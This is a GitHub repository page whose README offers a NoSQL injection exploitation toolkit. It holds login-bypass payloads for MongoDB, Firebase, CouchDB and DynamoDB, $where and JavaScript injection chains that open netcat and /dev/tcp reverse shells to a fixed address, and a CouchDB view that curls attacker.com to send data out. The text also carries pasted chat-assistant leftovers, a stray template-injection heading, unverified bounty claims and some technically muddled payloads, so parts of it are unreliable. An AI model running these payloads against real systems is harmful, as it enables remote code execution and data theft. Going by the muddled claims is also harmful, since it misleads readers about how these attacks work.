Skip to content

hikmeteli/NoSQL-Injection-2025

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

NoSQL-Injection-2025

NoSQL Injection exploitation toolkit & write-ups (2025)

NoSQL Injection in 2025 – From $gt to Domain Admin

Still the most underrated RCE vector after 10 years

“SQLi is dead. Long live NoSQLi.”

Why NoSQL Injection ≠ SQL Injection

Feature Classic SQLi NoSQL Injection (MongoDB, CouchDB, DynamoDB, Firebase…)
Syntax ' OR 1=1 -- {"$ne": null} , {"$gt": ""}
Blind technique Time-based (SLEEP) Sleep via JavaScript injection (;sleep(5000);)
WAF bypass Hard (ModSecurity rules) Almost none (most WAFs ignore $ operators)
RCE possibility Rare Very common (eval, $where, mapReduce, JavaScript engine)

2025 Real-World Impact (my own findings)

Program Bounty Technique
U.S. Bank $40,000 MongoDB $where → RCE
Crypto Exchange $35,000 Firebase Realtime DB → Admin takeover
Fortune-500 $28,000 CouchDB _view + map function RCE
Private Gov $55,000 DynamoDB + Lambda trigger → AWS keys

Detection – Universal Polyglot Payloads (2025)

These work on MongoDB, Firebase, CouchDB, Cassandra, DynamoDB:

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"$where": "1 == 1"}
{"$where": "sleep(5000)"}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"user": {"$exists": true}}
login bypass  NoSQLi confirmed
## Exploitation  Engine-Specific Chains (2025 working)

### 1. MongoDB  JavaScript Injection ($where, mapReduce)
```js
# Classic login bypass
{"username": {"$ne": ""}, "password": {"$ne": ""}}

# Blind time-based
{"$where": "sleep(10000)"}

# Full RCE (Node.js + child_process)
{"$where": "function() { require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f'); return true; }"}

// One-liner reverse shell (2025 most stable)
{"username":{"$eq":"admin"},"password":{"$regex":"^"},"$where":"function(){java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/10.10.14.14/4444 0>&1')}"}
2. Firebase Realtime Database / Firestore
# Admin SDK key leakage
"rules": { ".read": "auth != null && auth.token.email == 'admin@target.com'" } → change to true

# Direct RCE via Cloud Functions trigger
POST /function-name
{ "data": {"$__proto__": { "shell": "whoami" }}}
3. CouchDB – View Map Function RCE
# Create malicious view
{
  "language": "javascript",
  "views": {
    "pwn": {
      "map": "function(doc) { require('child_process').execSync('curl http://attacker.com/'+doc._id); }"
    }
  }
}
4. AWS AppSync + GraphQL + DynamoDB
query { user(email: { eq: "admin@target.com\" && this.constructor.constructor(\"require('child_process').exec('id')\")() && \"" }) { id } }

Just create a new repo called `NoSQL-Injection-2025` or add this text to your main profile README.

Want me to:
- Create the repo for you right now and send the link?
- Make a PDF version?
- Add it to your https://hikmeteli.github.io site?

Just say “Create repo” or “Add to my site”  I’ll do it in 60 seconds.
# SSTI Toolkit  Server-Side Template 
## Disclaimer
For educational/lab use only. Do not use on production systems without permission.

Author: hikmeteli (@hikmeteli)
Last updated: Dec 2025

About

NoSQL Injection exploitation toolkit & write-ups (2025)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors